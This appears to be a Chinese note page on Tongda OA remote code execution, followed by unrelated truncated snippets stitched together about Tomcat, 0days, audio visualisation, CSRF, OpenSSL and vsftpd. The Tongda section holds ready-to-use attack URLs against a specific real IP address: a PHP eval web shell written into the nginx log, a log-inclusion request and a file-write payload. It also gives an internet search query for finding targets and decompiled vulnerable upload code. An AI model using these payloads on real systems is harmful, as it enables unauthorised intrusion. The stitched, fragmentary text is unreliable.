通达OA
通达OA 网络智能办公系统 是由北京通达信科科技有限公司开发的一款办公系统
采用基于WEB的企业计算,
主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。
数据存取集中控制,避免了数据泄漏的可能。
提供数据备份工具,保护系统数据安全。
多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
自主研发的协同办公自动化软件,
是与中国企业管理实践相结合形成的综合管理办公平台
2015年,通达云OA入驻阿里云企业应用专区,为众多中小企业提供稳定、可靠的云计算支撑
通达OA可供用户免费下载使用,安装简单,默认安装了Nginx、mysql等服务,
系统默认由System权限启动
360安全大脑-Quake网络空间测绘系统通过对全网资产测绘

http://www.360doc.com/content/20/0405/19/64353657_904057447.shtml
58.56.254.122:8081/<?php@eval($_POST['aming']);?>
http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&url=…/…/ispirit/…/…/nginx/logs/oa.access.log
http://cn-sec.com/archives/498043.html
http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
通达OA2017,V11.X<V11.5
通达oa远程命令执行:影响的版本有:V11版,2017版,2016版,2015版,2013增强版,2013版。
app=“通达OA” body=" static/images/tongda.ico"


http://www.dennis.org.cn/
https://blog.csdn.net/szgyunyun/article/details/107104288
https://blog.csdn.net/blue_fantasy/article/details/122403451
https://blog.csdn.net/weixin_44831109/article/details/123841373
https://blog.csdn.net/qq_29443517/article/details/106275093
未授权的情况下可上传图片木马文件
精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击
影响范围
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017
V11版 2017版 2016版 2015版 2013增强版2013版
未授权上传文件
\ispirit\im\upload.php
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收
方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) !=
strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] =
urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
$ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile') {
$ATTACHMENT_NAME =
td_iconv(urldecode($ATTACHMENT_NAME),
'utf-8', MYOA_CHARSET);
}
} else {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('无文
件上传'));
echo json_encode(data2utf8($dataBack));
exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME,
$MODULE);
if (!$FILE_SIZE) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('文件
上传失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
if ($UPLOAD_MODE == '1') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) .
'thumb_'
. $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = 'INSERT INTO im_offline_file
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values
(\'' . date('Y-m-d H:i:s') . '\',\'' .
$_SESSION['LOGIN_UID']
. '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' .
$ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' .
$AID
. '\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('数据库操作失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
$dataBack = array('status' => 1, 'content' => $CONTENT,
'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
} else {
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT,
ADDTIME)
VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' .
$CONTENT
. '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
} else {
if ($UPLOAD_MODE == '3') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME))
. 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240,
$THUMB_FILE_PATH);
}
echo '+OK ' . $ATTACHMENT_ID;
} else {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'],
$DEST_UID,
1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG)
values (\'' . date('Y-m-d H:i:s') . '\',\'' .
$_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID .
'\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME
. '\',\'' . $FILE_SIZE . '\',\'0\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo '-ERR ' . _('数据库操作失败');
exit;
}
if ($FILE_ID == 0) {
echo '-ERR ' . _('数据库操作失败2');
exit;
}
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
}
}
}
源码采用了zend加密,解密后才能正常阅读代码
第一个if(第5行)对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,
如果判断失败,就进入else,也就是身份认证功能
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT =
true)
{
if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
if (!$OUTPUT) {
return _('参数含有非法字符。');
}
Message(_('错误'), _('参数含有非法字符。'));
exit;
}
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT) {
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX &&
substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_')
{
continue;
}
$data_charset = isset($_GET['data_charset']) ?
$_GET['data_charset'] : (isset($_POST['data_charset'])?
$_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != ''?
td_iconv($ATTACHMENT['name'], $data_charset,
MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文
件'), substr($ATTACH_NAME,
strrpos($ATTACH_NAME, '.') + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME,
array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8') {
$ATTACH_NAME_UTF8 =
mb_convert_encoding($ATTACH_NAME, 'utf-8',
MYOA_CHARSET);
} else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u',
$ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_('文件名[%s]包含
[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'),
$ATTACH_NAME);
}
if ($ERROR_DESC == '') {
$ATTACH_NAME = str_replace('\'', '',
$ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE,
$ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败'),
$ATTACH_NAME);
} else {
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
}
}
@unlink($ATTACH_FILE);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统
限制
(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过
了表
单限制'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_('文件[%s]上传不
完整'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR ==
UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_('文件[%s]上
传失败:找不到临时文件夹'),
$ATTACH_NAME);
} else {
if ($ATTACH_ERROR == U
PLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_('文件
[%s]写入失败'), $ATTACH_NAME);
} else {
$ERROR_DESC = sprintf(_('未知错
误[代码:%s]'), $ATTACH_ERROR);
}
}
}
}
}
}
if ($ERROR_DESC != '') {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS['ID'],
$ATTACHMENTS['NAME'], $MODULE);
return $ERROR_DESC;
} else {
Message(_('错误'), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}
https://blog.csdn.net/weixin_45728976/article/details/105166034
https://blog.csdn.net/hackzkaq/article/details/115900500
前提登录
https://www.csdn.net/tags/MtTaEgwsMTU3NzMzLWJsb2cO0O0O.html
https://blog.csdn.net/qq_45290991/article/details/120212257
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S
Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1
漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、
只是想从认识的人那里得到意见。我正在考虑CSRF漏洞,以及我所知道的似乎最流行的对抗它的方法。该方法是在返回的html中创建一个token,并添加一个具有相同值的cookie。因此,如果脚本尝试发帖,他们将必须猜测网页中嵌入的token才能成功。但如果他们针对特定网站,为什么他们不能只使用一个脚本在页面上调用get(即使脚本无法访问它也会返回cookie)解析html并获取token调用其中包含该token的帖子(返回的cookie将被发回)他们在用户不知情的情况下成功提交了表单脚本不需要知道cookie的内容,它只是利用cookie一直来回发送这一事实。我在这里错过了什么?这不可能吗
在我的.NETWeb应用程序中,我通常有一个Scripts文件夹,其中包含我所有的JavaScript文件-现在主要是jQuery,偶尔还有某种JavaScript库。我正在通过名为Nexpose的扫描器对我的一个网站运行漏洞扫描,它告诉我Scripts文件夹向全世界开放-这意味着未经身份验证的用户可以下载文件夹中包含的JavaScript文件,这是一个严重的漏洞。根据Nexpose的说法,Scripts文件夹应该被限制为只允许经过身份验证的用户访问它。这引出了我的第一个问题。我如何将Scripts文件夹限制为仅经过身份验证的用户?我尝试将web.config文件放入Scripts文件
一、检查openssl版本opensslversion影响范围OpenSSL3.0.0版本:3.0.0、3.0.1、3.0.2、3.0.3OpenSSL1.1.1版本:1.1.1-1.1.1oOpenSSL1.0.2版本:1.0.2-1.0.2ze目前OpenSSL项目已经修复了这些漏洞,受影响用户可以更新到以下版本:OpenSSL3.0.0:升级至3.0.4OpenSSL1.1.1:升级至1.1.1pOpenSSL1.0.2:升级至1.0.2zf新版本下载链接https://www.openssl.org/source/也可以可以连互联网在线下载wgethttps://www.openssl
警告请勿使用本文提到的内容违反法律。本文不提供任何担保 一、漏洞介绍 vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPDv2.3.4服务,是以root权限运行的,最终我们提到的权限也是root;当连接带有vsftpd2.3.4版本的服务器的21端口时,输入用户中带有“:)”,密码任意,因此也称为笑脸漏洞。二、环境搭建攻击机(本机):192.168.1.3靶机(metaspolit2):192.168.1.5三、nmap进行漏洞检测(四)python脚本进行漏洞检测代码如下:importsocketfromftplibimportF
在我们的应用程序中成功使用DrivePicker已经将近一年了。几周前,选择器出现问题,促使升级到最新的JSapi。直到今天早上一切都很好。现在选择器不会加载,我收到以下错误。UncaughtError:Incorrectoriginvalue.Pleasesetitto-(window.location.protocol+'//'+window.location.host)ofthetop-mostpage1610138292-picker_modularized_opc.js:821RT1610138292-picker_modularized_opc.js:821_createP